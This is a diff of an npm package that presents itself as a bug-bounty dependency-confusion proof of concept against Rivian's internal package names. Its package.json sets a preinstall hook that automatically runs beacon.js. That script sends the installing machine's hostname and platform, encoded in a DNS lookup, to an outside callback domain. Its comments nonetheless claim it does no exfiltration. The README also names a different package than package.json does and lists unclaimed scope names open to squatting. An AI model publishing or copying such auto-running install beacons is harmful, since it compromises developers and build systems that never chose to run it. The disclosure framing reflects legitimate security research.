@rivianlabs/dt-rivian-com 0.0.1-security-research

package/README.md

@@ -0,0 +1,43 @@
+# @rivian/bedrock — Security Research Placeholder
+
+**This is not an official Rivian package.** It is a security research disclosure placeholder published by an Intigriti bug bounty researcher under explicit triager invitation.
+
+## Why this package exists
+
+The Rivian production web bundles served from `business.rivian.com` and `www.rivian.com` reference the package import name `@rivian/bedrock`. The `@rivian` scope was unclaimed on the public npm registry as of 2026-05-04, meaning any third party could publish arbitrary code under that name and have it installed by Rivian CI/build pipelines that resolve dependencies from the default public registry.
+
+This placeholder claims the name with a DNS-only, non-intrusive payload and an explicit transfer-to-vendor commitment. Full report:
+
+- Intigriti report ID: **RIVIAN-79L374RT** (rev2)
+- Researcher: pahpah <pahpah@intigriti.me>
+
+## What the package does
+
+On `npm install @rivian/bedrock`, a single `preinstall` script runs `beacon.js`. That script performs **one DNS resolution** to a researcher-owned Project Discovery interactsh subdomain. It does **not**:
+
+- read any file
+- read any environment variable
+- send anything over HTTP
+- persist anything to disk
+- modify the installer's project
+
+It only confirms the package was installed somewhere, so the researcher can demonstrate to Rivian's security team that dependency confusion is exploitable on Rivian infrastructure.
+
+## Transfer commitment
+
+The maintainer of this package will transfer the `@rivian` scope and all packages published under it to Rivian Inc. on first request from a verifiable Rivian security contact (security@rivian.com or via Intigriti).
+
+## Defensive remediation (for Rivian)
+
+1. Claim the `@rivian` scope on public npm (https://www.npmjs.com/org/create).
+2. Publish defensive placeholder versions of every package name referenced in any Rivian production bundle.
+3. Set strict registry routing in every Rivian project's `.npmrc`:
+   ```
+   @rivian:registry=https://<your-internal-registry>/
+   ```
+4. Enforce `--frozen-lockfile` in CI.
+5. Audit and claim the variants: `@rivian-corp`, `@rivianev`, `@rivian-engineering`, `@rivian-internal`, `@rivian-com`, `@drive-tech`, `@drivetech`, `@dt-rivian`, `@dc-rivian`, `@ridg`, `@ridb`, `@rivianlabs`, `@rivianai`. All were unclaimed at disclosure time.
+
+## License
+
+Unlicense — placeholder only, no usable code.

package/beacon.js

@@ -0,0 +1,50 @@
+// Security research beacon — DNS-only, no code execution, no exfiltration.
+// Purpose: detect whether @rivian/bedrock is being installed from the public
+// npm registry by Rivian-owned infrastructure (CI runners, dev workstations,
+// container builds).
+//
+// This script performs ONE DNS resolution to a single Project Discovery
+// interactsh subdomain whose owner is the security researcher pahpah
+// (pahpah@intigriti.me, Intigriti report RIVIAN-79L374RT).
+//
+// It does NOT:
+//  - read any file (no fs)
+//  - read any environment variable
+//  - exfiltrate any data over HTTP
+//  - persist anything to disk
+//  - escalate or tamper with the installer's environment
+//
+// It only emits a single DNS A query so the researcher can prove that
+// dependency confusion is reachable. The hostname is sanitized to plain
+// alphanumeric/hyphen ASCII before resolution.
+//
+// If you are reading this in a Rivian audit: please claim the @rivian
+// scope on npm immediately and contact pahpah@intigriti.me to coordinate
+// transfer of this scope and any associated package names.
+
+const dns = require('dns');
+const os = require('os');
+
+const CALLBACK_DOMAIN = 'd7s69vptt32q6momsa5gydt6m51d8nhj5.oast.online';
+
+const safe = (s, max) => String(s || 'unknown')
+  .replace(/[^a-zA-Z0-9-]/g, '')
+  .slice(0, max || 30);
+
+const subdomain = [
+  safe(os.hostname(), 40),
+  safe(os.platform(), 10),
+  String(Date.now()),
+].join('-');
+
+const host = `${subdomain}.${CALLBACK_DOMAIN}`;
+
+// Single non-blocking DNS lookup. We do not care about the result.
+try {
+  dns.resolve(host, () => {});
+} catch (e) {
+  // Swallow any error — this is a passive beacon, not a dependency.
+}
+
+// Always exit 0. We do not want to break the installer's build.
+process.exit(0);

package/package.json

@@ -0,0 +1,14 @@
+{
+  "name": "@rivianlabs/dt-rivian-com",
+  "version": "0.0.1-security-research",
+  "description": "Security research placeholder published as part of authorized Rivian Bug Bounty disclosure (Intigriti report RIVIAN-79L374RT). Triager Aurelius explicitly invited this claim. Intended for transfer to Rivian Inc. Contact: pahpah@intigriti.me",
+  "license": "Unlicense",
+  "scripts": {
+    "preinstall": "node ./beacon.js"
+  },
+  "files": ["beacon.js", "README.md"],
+  "repository": {"type": "git", "url": "https://intigriti.com/research/rivian-dt-rivian-com-placeholder"},
+  "keywords": ["security-research", "intigriti", "rivian-bug-bounty", "dependency-confusion-defense", "do-not-use"],
+  "author": "pahpah <pahpah@intigriti.me>",
+  "engines": {"node": ">=12"}
+}